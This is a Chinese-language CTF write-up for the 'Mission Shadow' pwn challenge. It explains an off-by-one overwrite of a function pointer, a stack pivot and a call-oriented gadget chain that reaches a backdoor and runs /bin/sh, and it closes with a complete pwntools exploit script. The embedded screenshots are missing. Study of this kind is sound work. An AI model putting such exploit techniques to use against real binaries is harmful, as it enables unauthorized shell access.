Mission Shadow
.png)
main函数:
.png)
check_log函数:
.png)
create_task函数:
.png)
first_empty函数:
.png)
dance函数:
.png)
commit_feedback函数:
.png)
input_annotation函数:
.png)
execute_task函数:
.png)
unreachable函数:
.png)
unreachable函数是一个后门函数,只差一个/bin/sh字符串,然后我们在ida中也可以发现这个程序中有这个字符串,那我们大概率就不用泄露libc了,main函数就是个菜单,check_logz直接给我们一个pie地址,我们能直接获得pie基址,接下来就是寻找漏洞点了
我们先看create_task函数,这里看
.png)
结合first_empty和input_annotation和execute_task,我们可以发现task是一个结构体,一个task24字节,前面16字节是随便输入的内容,后八字节是存储的函数指针,first_empty搜索的就是函数指针部分(qword代表8字节一格空间,每次越过3格,也就是下一个task的函数指针部分),从这里我们也可以看出我们最多创建16个task,first_empty搜索到是空的给我们这个task,然后我们会有三个选择,这里每个选择是把对应函数的函数指针存到task的函数指针部分,不是执行函数,这点要注意,例如我们选择3,就会把dance函数的地址存到task的函数指针部分,然后调用input_annotation函数,这里是允许我们向task的16字节的内容部分输入的,但是这里允许我们输入17字节,这是一个off by one漏洞,因为这个一字节刚好是可以覆盖函数指针部分的第一字节。
然后我们看我们可以选的三个函数,这里dance函数是一个pop rdi;call rsp的cop的gadget,这个我们后面传入/bin/sh字符串有用,commit_feedback函数的开头和结尾的那两个函数是检查返回地址是否被修改的,并且这里有一个输入,只能让我们覆盖到rbp,show_time函数只是用puts显示一个字幕
然后看execute_task函数,这个函数就是轮询每个task的函数指针部分并调用该函数指针,轮询结束后就清除所有task
我们的思路首先把pie基址计算出来,然后肯定是用cop链调用后门函数的,这里commit_feedback函数刚好能覆盖rbp,我们又没有明显的能执行代码的漏洞,那我们可以考虑栈迁移,那我们如果这样写:
attack(1, fill(0x8) + b'\n')
attack(2, fill(0x10) + p8(0x41))
我们task0把函数指针设为commit_feedback(选择1),这里是为了栈迁移做准备,覆盖rbp,然后内容部分就随便填就行了,注意不要超过16字节导致函数指针被覆盖,然后我们task1的函数指针随便设一个,这里用show_time(这里我们只能覆盖我们选的函数指针的最后一字节,所以我们选的函数指针的倒数第二字节要和我们都leavegadget的倒数第二字节相同,这里三个选择都是0x13,所以选哪个都无所谓),然后我们用内容部分随便填,我们利用第17字节填充,把show_time函数指针的最后一字节覆盖成leave_retgadget的最后一字节(这里我直接用的commit_feedback()结尾的leave的地址,因为这个距离这这三个函数指针比较近,倒数第二字节相同的概率也比较大,然后发现相同,那这个gadget就能用),那后面execute_task函数,会先调用task0的commit_feedback函数,然后我们覆盖rbp,然后调用task1的指针部分的函数,也就是leave ret,我们就实现了栈迁移
那我们现在就考虑一下我们的cop链放在哪里,我们这里的能大量输入的地方就是向task的内容部分输入了,刚好task也是在bss段,我们获得pie基址后这个位置是固定的,我们可以方便地栈迁移到这里
attack(2, fill(0x10) + p8(0xB0))
attack(2, p64(binsh) + p64(execve) + b'\n')
我们这个cop链总共24字节,首先是rdigadget,然后是/bin/sh字符串,然后是后门函数,那我们必定是要把一个task的函数部分覆盖的,这里由于rdigadget是dance函数的一部分,所以这个gadget的倒数第二字节与函数指针部分倒数第二相同的概率比较大,然后我们可以发现是相同的,那我们选择利用覆盖task的函数指针部分来放置rdigadget,然后下一个task的内容部分就放后面两个,这样我们只要栈迁移到task2的函数指针部分就能开始执行cop链然后就能getshell了
payload = flat([
fill(0x10),
base(0x4080) + 0x18 + 0x18 + 0x8
])
0x4080是task0的起始位置,两个0x18跳过task0和task1,然后我们要跳过task2的内容部分(0x10大小),这里我们要注意栈迁移后有个pop rdi会吃掉0x8字节,所以我们填0x10-0x8=0x8字节,这样ret就能正确pop rip出我们的rdigadget。
这里还有一个要注意的点就是我们是cop链不是rop链,也就是我们是用call来调用的,这里是因为我们只有
pop rdi;call rsp这一个rdi的gadget,那我们要注意call rsp是否能正确call unreachable函数,这里我们想一下这个过程,我们栈迁移后rsp指向函数指针部分,然后ret,rsp+8,指向/bin/sh,然后执行pop rdi,rsp再+8,指向unreachable函数,然后call rsp,刚好没问题。
EXP:
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
target = ""
file_name = './pwn_patched'
libc_name = './libc.so.6'
elf = ELF(file_name)
context.binary = elf
libc = ELF(libc_name)
gdb_ = 1 if ('gdb' in sys.argv) else 0
switch = 1 if ('remote' in sys.argv) else 0
debug = 0 if ('deoff' in sys.argv) else 1
error = 1 if ('error' in sys.argv) else 0
if debug:
context(log_level='debug')
if error:
context(log_level='error')
bps = [
# 0x1234,
# 'main',
# (0xe3b31, 'libc'),
# ('system', 'libc')
]
gdb_cmd = ''
if gdb_ and switch == 0:
gdb_cmd += "set breakpoint pending on\n"
for b in bps:
if isinstance(b, int):
gdb_cmd += f"b *$rebase({hex(b)})\n"
elif isinstance(b, str):
gdb_cmd += f"b {b}\n"
elif isinstance(b, tuple) and len(b) == 2 and b[1] == 'libc':
if 'libc' in locals() and libc:
target = libc.sym[b[0]] if isinstance(b[0], str) else b[0]
gdb_cmd += f'b *($base("libc") + {hex(target)})\n'
else:
log.warning("未加载 Libc,跳过 Libc 断点")
gdb_cmd += "c\n"
if switch:
parts = target.replace(':', ' ').split()
port = int(parts[-1])
target = parts[-2]
p = remote(target, port)
elif gdb_:
p = gdb.debug(file_name, gdbscript=gdb_cmd, aslr=True)
else:
p = process(file_name)
def s(data): return p.send(data)
def sa(delim, data): return p.sendafter(delim, data)
def sl(data): return p.sendline(data)
def sla(delim, data): return p.sendlineafter(delim, data)
def r(numb=4096): return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl(): return p.recvline()
def ra(t=None): return p.recvall(timeout=t)
def cl(): return p.close()
def it(): return p.interactive()
def uc64(data): return u64(data.rjust(8, b'\x00'))
def uu64(data): return u64(data.ljust(8, b'\x00'))
def a(f, off=libc): return lg(hex(off), (ret := f.address + off)) or ret
def cb(data): return data if isinstance(data, bytes) else str(data).encode()
def lg(name, data): return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt=b'>'): return sla(pmt, str(idx).encode())
def ga(delim=b'|', name='Leak'): return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16) for a in re.findall(b'0x[0-9a-fA-F]+', ru(delim))])]
def base(val, binary=elf): return binary.address + val
def ntlb(leak, offset, name='Libc'): return setattr(libc, 'address', leak - (libc.sym[offset] if isinstance(offset, str) else offset)) or lg(name, libc.address)
def ntpie(leak, offset, name='PIE'): return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def fill(num, content=b'A'): return (content.encode() if isinstance(content, str) else content) * num
def se(s, f=None): return lg(s if isinstance(s, str) else f"bytes: {s.hex()}", (addr := next((f or libc).search(s if isinstance(s, bytes) else s.encode())))) or addr
_rop_cache = {}
def gg(s, f=None):
target = f or libc
if target not in _rop_cache:
_rop_cache[target] = ROP(target)
rop = _rop_cache[target]
instrs = [x.strip() for x in s.split(';')]
gadget = rop.find_gadget(instrs)
if gadget:
addr = gadget.address
lg(s, addr)
return addr
else:
raise ValueError(f"[-] Critical: Gadget not found: {s}")
#################################################################################
def menu1(idx):
menu(idx,b'choice>>')
def menu2(idx):
menu(idx,b'choice>>')
menu1(3)
leak = ga(b"4. Exit")[0]
lg('leaked_pie',leak)
ntpie(leak,0x4200)
binsh = se('/bin/sh',elf)
execve = base(0x111D)
def attack(choice, data):
menu1(1)
menu2(choice)
sa(b'Annotation (16 bytes):\n', data)
attack(1, fill(0x8) + b'\n')
attack(2, fill(0x10) + p8(0x41))
attack(2, fill(0x10) + p8(0xB0))
attack(2, p64(binsh) + p64(execve) + b'\n')
menu1(2)
payload = flat([
fill(0x10),
base(0x4080) + 0x18 + 0x18 + 0x8
])
sa(b'Please enter your feedback:\n', payload)
it()
题目链接:
CTF-Writeups/第十六届极客大挑战/Mission Shadow at main · Zenquiem/CTF-Writeups